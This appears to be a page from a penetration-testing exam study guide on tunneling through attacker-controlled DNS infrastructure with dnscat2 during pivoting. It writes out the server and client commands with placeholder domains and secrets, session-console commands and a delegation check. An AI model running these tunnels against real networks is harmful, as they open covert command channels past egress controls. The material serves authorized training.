Conditional: tunnel through controlled DNS infrastructure

Needs: Controlled/delegated domain or supported direct setup, reachable DNS path, compatible server/client and allowed execution

Authoritative-domain mode

Use only when ordinary transports are unavailable and DNS is demonstrably permitted. This is a conditional advanced route, but it remains in the current official BOK.

Prerequisites:

# Authoritative-domain mode
dnscat2-server --secret=SHARED_SECRET TUNNEL_DOMAIN

# Client
./dnscat --secret=SHARED_SECRET TUNNEL_DOMAIN

# Direct DNS-server mode shown by the server's own usage output
./dnscat --dns server=DNS_SERVER,port=53 --secret=SHARED_SECRET

Server console

# Server console
windows
window -i SESSION_ID
help

A DNS query reaching the server proves only the resolver path. Match the pre-shared secret or independently verify the negotiated authentication string. Cache, recursion, EDNS, TCP fallback, DNS security controls and response-size limits can affect the channel. DNS tunneling is not DNS spoofing; spoofing remains prohibited by the current exam guide.

Verify → Verify the actual carrier and intended forwarded action; retain delegation and connectivity prerequisites.

If it fails → No delegation, resolver interference, egress policy or missing runtime can block the route. Keep this a conditional fallback. More detail ↓

If → then

One reachable pivot can connect to one internal TCP destination → Relay a single TCP service through a fixed forward
Needs: A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity
A foothold exposes an interface/subnet or a loopback-only service → Discover pivot interfaces, routes and internal service context
Needs: A usable pivot process/identity and explicit scope; both forward and return directions must be understood
Several hosts, identities, routes or competing hypotheses need coordination → Maintain state and select the next evidence-producing test
Needs: Explicit scope/objective and a record of observations, unknowns and available capabilities

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Conditional: tunnel through controlled DNS infrastructure

USE WHEN: DNS is an available carrier while simpler permitted routes are unavailable
STARTING ACCESS: A pivot identity/process or reachable SSH service and a drawn source-to-destination path
RESULT: A verified constrained DNS carrier and its explicitly configured access capabilities

Recognize the clue

Use known carrier restrictions and an explicitly approved controlled domain to inspect delegation and DNS reachability.

dig DOMAIN NS

SYNTHETIC EXAMPLE OUTPUT

Delegated zone: CONTROLLED_DOMAIN
Authoritative server: CONTROLLED_NS
Resolver path from pivot: not yet verified

Means: Delegation is an infrastructure prerequisite; an NS record alone does not prove ownership or an operational tunnel.

Confirm: Confirm authorized control, resolver path, compatible client/server/runtime and supported intended operation.

After validation: The controlled carrier and required application operation work: use this constrained fallback.
Ruled out in this context: No approved domain/control or required DNS path exists: reject this design.
Still inconclusive: An isolated DNS callback does not establish a stable tunnel or full route.

Troubleshooting: No delegation, resolver interference, egress policy or missing runtime can block the route. Keep this a conditional fallback.

Use only when ordinary transports are unavailable and DNS is demonstrably permitted. This is a conditional advanced route, but it remains in the current official BOK.

Prerequisites:

command execution sufficient to run a compatible client;
either authoritative control/NS delegation for TUNNEL_DOMAIN or direct UDP/53 reachability to the server;
a resolver chain that forwards the chosen domain externally;
permission to bind/listen on the required DNS port;
tolerance for low throughput and conspicuous DNS patterns.

Authoritative-domain mode:

Client:

Direct DNS-server mode shown by the server's own usage output:

Server console:

A DNS query reaching the server proves only the resolver path. Match the pre-shared secret or independently verify the negotiated authentication string. Cache, recursion, EDNS, TCP fallback, DNS security controls and response-size limits can affect the channel. DNS tunneling is not DNS spoofing; spoofing remains prohibited by the current exam guide.

Why it works

DNS tunneling carries data through query/response infrastructure; resolver behavior, delegation, size and latency matter. A DNS callback does not automatically provide a usable full network route.

Worked example · hypothetical

Observation: a restricted host can resolve an intentionally controlled delegated zone. Test: validate delegation and the documented carrier handshake. Illustrative output: the session establishes but latency is high. Interpretation: use only a justified supported operation or prefer another available route.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗